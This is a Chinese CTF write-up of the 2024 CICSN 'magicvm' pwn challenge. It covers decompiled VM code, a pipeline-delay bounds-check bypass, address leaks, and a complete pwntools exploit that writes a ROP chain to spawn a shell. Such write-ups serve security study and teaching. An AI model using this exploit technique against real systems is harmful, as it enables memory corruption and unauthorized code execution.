2024 cicsn magicvm

文章目录

  • 参考
  • 检查
  • 逆向
    • vm::run
    • vm::vm
    • vm_alu::set_input
    • vm_mem::set_input
    • vm_id::run
    • vm_alu::run
    • vm_mem::run
  • 漏洞
  • 思路
  • 参考的exp

参考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

检查

在这里插入图片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{__int64 v1; // raxint v3; // [rsp+1Ch] [rbp-4h]while ( 1 ){vm_alu::set_input(my_vm->vm_alu, my_vm);vm_mem::set_input(my_vm->vm_mem, my_vm);my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 执行当前指令,得到临时结果vm_mem::run(my_vm->vm_mem);                 // 将结果转换到对应的位置中去if ( !v3 )break;if ( v3 == -1 ){v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);exit(0);}}return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{struct vm_id *vm_id; // raxstruct vm_alu *vm_alu; // raxvm_mem *v3; // rax__int64 i; // rdxmy_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);my_vm->data_base = my_vm->code_base + 0x2000LL;my_vm->stack_base = my_vm->data_base + 0x3000LL;my_vm->data_size = 0x3000LL;my_vm->code_size = 0x2000LL;my_vm->stack_size = 0x1000LL;vm_id = (struct vm_id *)operator new(0x28uLL);LODWORD(vm_id->isvalid_id) = 0;vm_id->opcode = 0LL;vm_id->optype = 0LL;vm_id->arg1 = 0LL;vm_id->arg2 = 0LL;my_vm->vm_id = vm_id;vm_alu = (struct vm_alu *)operator new(0x50uLL);*(_OWORD *)&vm_alu->isvali_id = 0LL;*(_OWORD *)&vm_alu->optype = 0LL;*(_OWORD *)&vm_alu->arg2 = 0LL;*(_OWORD *)&vm_alu->content_change_addr = 0LL;*(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;my_vm->vm_alu = vm_alu;v3 = (vm_mem *)operator new(0x28uLL);v3->is_valid = 0;v3->value_to_addr_time = 0;for ( i = 0LL; ; ++i ){v3->val_to_ad[i].addr = 0LL;v3->val_to_ad[i].value = 0LL;if ( i == 1 )break;}my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{vm_id *vm_id; // rdxvm_alu *result; // rax__int64 opcode; // rbx__int64 arg1; // rbxvm_id = my_vm->vm_id;result = my_vm_alu;opcode = vm_id->opcode;my_vm_alu->isvali_id = vm_id->isvalid_id;my_vm_alu->opcode = opcode;arg1 = vm_id->arg1;my_vm_alu->optype = vm_id->optype;my_vm_alu->arg1 = arg1;my_vm_alu->arg2 = vm_id->arg2;return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{vm_alu *vm_alu; // rdxvm_mem *result; // rax_QWORD *content_change_addr; // rbx_QWORD *stack_ptr_addr; // rbxvm_alu = my_vm->vm_alu;result = my_vm_men;content_change_addr = vm_alu->content_change_addr;*(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;my_vm_men->val_to_ad[0].addr = content_change_addr;stack_ptr_addr = vm_alu->stack_ptr_addr;my_vm_men->val_to_ad[0].value = vm_alu->alu_result;my_vm_men->val_to_ad[1].addr = stack_ptr_addr;my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{char *my_vm_pc; // raxchar *optype_pc_1; // raxint v4; // eaxchar *first_value_pc_1; // raxchar *first_value_pc_2; // raxint v7; // eaxchar *optype_pc_2; // raxchar opcode; // [rsp+18h] [rbp-18h]char optype; // [rsp+19h] [rbp-17h]char first_value; // [rsp+1Ah] [rbp-16h]char first_value_1; // [rsp+1Ah] [rbp-16h]char second_valuea; // [rsp+1Ah] [rbp-16h]char second_valueb; // [rsp+1Ah] [rbp-16h]char value1; // [rsp+1Ah] [rbp-16h]char optype_1; // [rsp+1Bh] [rbp-15h]unsigned int change_pc; // [rsp+1Ch] [rbp-14h]_BYTE *optype_pc; // [rsp+20h] [rbp-10h]char *arg_value_pc; // [rsp+20h] [rbp-10h]char *value1_pc; // [rsp+20h] [rbp-10h]my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别optype_pc = my_vm_pc + 1;opcode = *my_vm_pc;change_pc = 1;if ( *my_vm_pc <= 0 || opcode > 8 ){if ( opcode <= 8 || opcode > 10 ){if ( opcode && opcode != 11 ){my_vm_id->opcode = -1LL;}else{my_vm_id->opcode = opcode;              // 11 nop指令my_vm_id->optype = 0LL;my_vm_id->arg1 = 0LL;my_vm_id->arg2 = 0LL;}}else{                                           // 9-10 push popoptype_pc_2 = my_vm_pc + 1;value1_pc = optype_pc + 1;optype_1 = *optype_pc_2;change_pc = 2;my_vm_id->optype = *optype_pc_2;if ( (optype_1 & 3) == 2 )                // value为reg的标号{change_pc = 3;value1 = *value1_pc;if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3{my_vm_id->opcode = opcode;my_vm_id->arg1 = value1;my_vm_id->arg2 = 0LL;}else                                    // 否则标号越界,错误{my_vm_id->opcode = -1LL;}}else                                      //  optype只能为寄存器类型,否则错误{my_vm_id->opcode = -1LL;}if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八对齐,否则错误my_vm_id->opcode = -1LL;if ( opcode == 9 )                        // stack_ptr从零开始,相对地址从stack_base{if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )my_vm_id->opcode = -1LL;              // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始}else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr ){                                         // pop的话判断stack_ptr+8不会超过stack_size上界my_vm_id->opcode = -1LL;}}}else                                          // 1-8{optype_pc_1 = my_vm_pc + 1;arg_value_pc = optype_pc + 1;optype = *optype_pc_1;change_pc = 2;my_vm_id->optype = *optype_pc_1;v4 = optype & 3;if ( v4 == 2 )                              // value是寄存器下标{change_pc = 3;first_value_pc_1 = arg_value_pc++;        // 杀千刀的,这里的值是+之前的first_value = *first_value_pc_1;if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value;}else{my_vm_id->opcode = -1LL;}}else if ( v4 == 3 )                         // value也是寄存器下标,要检查寄存器中值是否超过地址界限{change_pc = 3;first_value_pc_2 = arg_value_pc++;first_value_1 = *first_value_pc_2;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value_1;}else{my_vm_id->opcode = -1LL;}}else{my_vm_id->opcode = -1LL;}if ( my_vm_id->opcode != -1LL ){v7 = (optype >> 2) & 3;if ( v7 == 3 ){                                         // 参数是寄存器的下标++change_pc;second_valueb = *arg_value_pc;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )my_vm_id->arg2 = second_valueb;elsemy_vm_id->opcode = -1LL;}else{if ( ((optype >> 2) & 3u) > 3 )         // 类型大于3不存在{
LABEL_25:my_vm_id->opcode = -1LL;goto LABEL_45;}if ( v7 == 1 )                          // 参数是立即数{change_pc += 8;                       // pc要变化八个字节,八个字节存立即数my_vm_id->arg2 = *(_QWORD *)arg_value_pc;}else{if ( v7 != 2 )goto LABEL_25;++change_pc;                          // 是寄存器second_valuea = *arg_value_pc;if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )my_vm_id->arg2 = second_valuea;elsemy_vm_id->opcode = -1LL;}}}}
LABEL_45:LODWORD(my_vm_id->isvalid_id) = 1;return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{return a3->data_size - 8LL >= a2;             // 地址少八,是因为地址内容是包括后面的八个字节内容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{__int64 arg2_type; // rax__int64 arg1_type; // raxunsigned __int64 opcode; // raxif ( !LODWORD(my_vm_alu->isvali_id) )return 1LL;if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL ){arg2_type = (my_vm_alu->optype >> 2) & 3LL;if ( arg2_type == 3 ){                                           // 参数为寄存器存的地址的值my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);}else if ( arg2_type != 1 ){if ( arg2_type != 2 )return 0xFFFFFFFFLL;my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值}arg1_type = my_vm_alu->optype & 3LL;if ( arg1_type == 2 ){my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的内容my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];}else{if ( arg1_type != 3 )return 0xFFFFFFFFLL;if ( (my_vm_alu->optype & 0xCLL) == 12 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 1;my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容}switch ( my_vm_alu->opcode ){case 1LL:my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;break;case 2LL:my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;break;case 3LL:my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;break;case 4LL:my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;break;case 5LL:my_vm_alu->alu_result = my_vm_alu->arg2;break;case 6LL:my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;break;case 7LL:my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;break;case 8LL:my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;break;default:goto exit;}goto exit;}opcode = my_vm_alu->opcode;if ( opcode == 11 ){my_vm_alu->isvalid_alu = 0;return 1LL;}if ( opcode > 0xB )                           // 大于11无效opcodereturn 0xFFFFFFFFLL;if ( opcode == 10 )                           // pop{my_vm_alu->value_to_addr_time = 2;my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;goto exit;}if ( !opcode ){my_vm_alu->isvalid_alu = 0;return 0LL;}if ( opcode != 9 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 2;            // pushmy_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:my_vm_alu->isvalid_alu = 1;return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{__int64 result; // raxint i; // [rsp+1Ch] [rbp-4h]result = (unsigned int)my_vm_men->is_valid;   // alu是否成功执行if ( (_DWORD)result ){for ( i = 0; ; ++i ){result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器// 第二次赋值改变栈地址if ( i >= (int)result )break;*my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值}}return result;
}

漏洞

存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段

  • 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
  • 执行得到alu
  • 改变值得到mem

vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查

思路

  • 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
  • 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了

泄露libc地址
在这里插入图片描述
在这里插入图片描述

泄露database的地址
在这里插入图片描述
泄露environ地址
在这里插入图片描述
在这里插入图片描述
得到environ内的栈地址

在这里插入图片描述
得到对应的返回地址
在这里插入图片描述
泄露pie地址
在这里插入图片描述
得到pie基地址
在这里插入图片描述
控制到database在vm上的位置
在这里插入图片描述
往database在vm结构体所在地址写入栈的返回地址所在地址
在这里插入图片描述
写入ret
在这里插入图片描述
写入pop rdi ret
在这里插入图片描述
写入/bin/sh
在这里插入图片描述
写入system地址
在这里插入图片描述
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
在这里插入图片描述
结果
在这里插入图片描述

参考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'def inst():return 1def mem():return 3def reg():return 2def args(flag1,flag2,arg1,arg2):var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')if flag2==1:return var+p64(arg2)else:return var+arg2.to_bytes(1,'little')def arg(flag,arg):var=flag.to_bytes(1,'little')if flag==1:return var+p64(arg)else:return var+arg.to_bytes(1,'little')def add(arg):return b'\x01'+argdef sub(arg):return b'\x02'+argdef rshift(arg):return b'\x03'+argdef lshift(arg):return b'\x04'+argdef mov(arg):return b'\x05'+argdef andd(arg):return b'\x06'+argdef orr(arg):return b'\x07'+argdef xor(arg):return b'\x08'+argdef pop(arg):return b'\x09'+argdef push(arg):return b'\x0a'+argdef nop():return b'\x0b'p=process('./pwn')
libc=ELF('./libc.so.6')# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()# end
code+=nop()
code+=nop()#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/21448.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GNeRF论文理解

文章目录 主要解决什么问题&#xff1f;结构设计以及为什么有效果&#xff1f;个人想法。 主要解决什么问题&#xff1f; 本文主要想要解决的问题是 如何使用uncalibrated的照片来进行Nerf重建。虽然说现在已经有了一些方式可以对相机位姿进行估计和优化&#xff0c;但是他们限…

journal日志管理

1、systemd-journald详解 systemd-journald日志默认保存在/run/log/journal中&#xff0c;重启会被清楚&#xff0c;如果存在/var/log/journal目录&#xff0c;systemd-journald日志会自动改为记入在这个目录中&#xff0c;同时日志轮转也会启动&#xff0c;日志轮状每月启动&…

如何通过网站封装App工具轻松创建移动应用

想象一下&#xff1a;将您的网站变成App 大多数网站管理员和开发人员多多少少都曾梦想过将自己的网站变成一款移动应用。传统的App开发过程不仅繁琐&#xff0c;还需要耗费大量的时间和资源。好消息是&#xff0c;现在有了网站封装App工具&#xff0c;这一切都变得简单了。您只…

HashMap 随记

HashMap 构造器 HashMap 共有四个构造器&#xff1a; public HashMap(int initialCapacity, float loadFactor) {// 对于传入的初始容量&#xff08;loadFactor&#xff09; 及 负载因子&#xff08;loadFactor&#xff09;的一些边界判断if (initialCapacity < 0) throw n…

V90 PN伺服驱动器附加报文750详细使用介绍(算法分析)

1、V90PN伺服驱动器转矩控制(750报文) V90 PN伺服驱动器转矩控制(750报文)_v90pn转矩控制-CSDN博客文章浏览阅读3.4k次,点赞2次,收藏3次。主要介绍通过标准报文加附加报文 750 实现发送驱动报文的控制字、速度给定、转矩限幅及附加转矩给定的功能,首先就是V90在博途环境下…

分享5款.NET开源免费的Redis客户端组件库

前言 今天大姚给大家分享5款.NET开源、免费的Redis客户端组件库&#xff0c;希望可以帮助到有需要的同学。 StackExchange.Redis StackExchange.Redis是一个基于.NET的高性能Redis客户端&#xff0c;提供了完整的Redis数据库功能支持&#xff0c;并且具有多节点支持、异步编…

总结2024/6/3

省流&#xff0c;蓝桥杯国优&#xff0c;还是太菜了&#xff0c;听说都是板子题但是还是写不出来&#xff0c;靠暴力好歹没有爆0&#xff0c;还是得多练&#xff0c;明年加油了

!力扣 108. 将有序数组转换为二叉搜索树

给你一个整数数组 nums &#xff0c;其中元素已经按升序排列&#xff0c;请你将其转换为一棵 平衡二叉搜索树。 示例 1&#xff1a; 输入&#xff1a;nums [-10,-3,0,5,9] 输出&#xff1a;[0,-3,9,-10,null,5] 解释&#xff1a;[0,-10,5,null,-3,null,9] 也将被视为正确答案…

封装了一个使用UICollectionViewLayout 实现的吸附居左banner图

首先查看效果图 实现的原理就是通过自定义UICollectionView layout&#xff0c;然后 设置减速速率是快速就可以达到吸附的效果 _collectionView.decelerationRate UIScrollViewDecelerationRateFast; 下面贴出所有代码 这里是.h // // LBMiddleExpandLayout.h // Liubo…

文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《具有源荷不平衡特性的配电网智能软开关和储能联合规划》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

CTF_RE学习

学了一个 map&#xff08;&#xff09;函数的使用 import base64rawData "e3nifIH9b_CndH" target list(map(ord, rawData)) # map 函数将 rawData 中的每个字符传递给 ord 函数。ord 函数返回给定字符的 Unicode 码点 print(target) # 打印 map 对象的内存地址&…

MySQL数据库的约束

MySQL对于数据库存储的数据, 做出一些限制性要求, 就叫做数据库的"约束". 在每一列的 列名, 类型 后面加上"约束". 一. not null (非空) 指定某列不能存储null值. 二. unique (唯一) 保证这一列的每行必须有唯一值. 我们可以看到, 给 table 的 sn 列插…

【微服务】docker部署redis,一主二从三哨兵,读写分离

配置redis读写分离 3台虚拟机 创建目录用于挂载 mkdir -p /root/redis/{conf,data,logs} #master配置文件 bind 0.0.0.0 //任何ip都能访问 port 6379 //redis端口号 logfile "/data/redis.log" //日志文件存放位置&#xff0c;启动redis之前设置为空&#xff…

prometheus docker部署

1.安装Docker sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-EOF {"registry-mirrors":["https://hub-mirror.c.163.com"] } EOF export DOWNLOAD_URL"https://hub-mirror.163.com/docker-ce" curl -fsSL https://ge…

【LIN】STM32新能源汽车LIN通信实现过程

【LIN】STM32新能源汽车LIN通信实现过程 文章目录 前言一、软件二、接线图三、硬件原理图四、上位机五、PICO示波器串行解码1.软件中的LIN波特率设置-192002.PIC设置3.PIC串行解码 六.引用总结 前言 【电机控制】直流有刷电机、无刷电机汇总——持续更新 使用工具&#xff1a;…

godot.bk

1.搜索godot国内镜像&#xff0c;直接安装&#xff0c;mono是csharp版本 2.直接解压&#xff0c;50m&#xff0c;无需安装&#xff0c;直接运行 3.godot里分为场景&#xff0c;节点 主场景用control场景&#xff0c;下面挂textureact放背景图片&#xff0c;右键实例化子场景把…

961题库 北航计算机 计算机网络 附答案 简答题形式

有题目和答案&#xff0c;没有解析&#xff0c;不懂的题问大模型即可&#xff0c;无偿分享。 第1组 习题 某网络拓扑如题下图所示&#xff0c;其中 R 为路由器&#xff0c;主机 H1&#xff5e;H4 的 IP 地址配置以及 R 的各接口 IP 地址配置如图中所示。现有若干以太网交换机…

MySQL—函数—函数小结

一、引言 前面博客我们已经学完了MySQL的函数&#xff0c;下面快速的对MySQL的函数做一个小结。 在讲解了MySQL的函数的时候&#xff0c;主要有四个方面&#xff1a; 1、字符串函数 &#xff08;1&#xff09;CONCAT&#xff1a;字符串连接 &#xff08;2&#xff09;LOWER、…

Java 多线程创建:三种主要方法

多线程编程是Java中一个重要的技术点&#xff0c;它允许程序并行执行多个任务&#xff0c;从而提高程序的执行效率。本文将详细介绍在Java中创建多线程的三种主要方法&#xff1a;继承Thread类、实现Runnable接口以及使用Callable和Future接口。 1. 继承 Thread 类 继承Threa…

Ubuntu server 24 (Linux) IPtables 双网卡 共享上网NAT 安装配置DHCP

一 开启路由转发功能 sudo vim /etc/sysctl.conf net.ipv4.ip_forward1 sudo sysctl -p 二 安装DHCP #更新软件包列表&#xff1a; sudo apt update #安装DHCP服务器 sudo apt install isc-dhcp-server #修改监听网卡,根据实际修改 sudo vi /etc/default/isc-dhcp-server …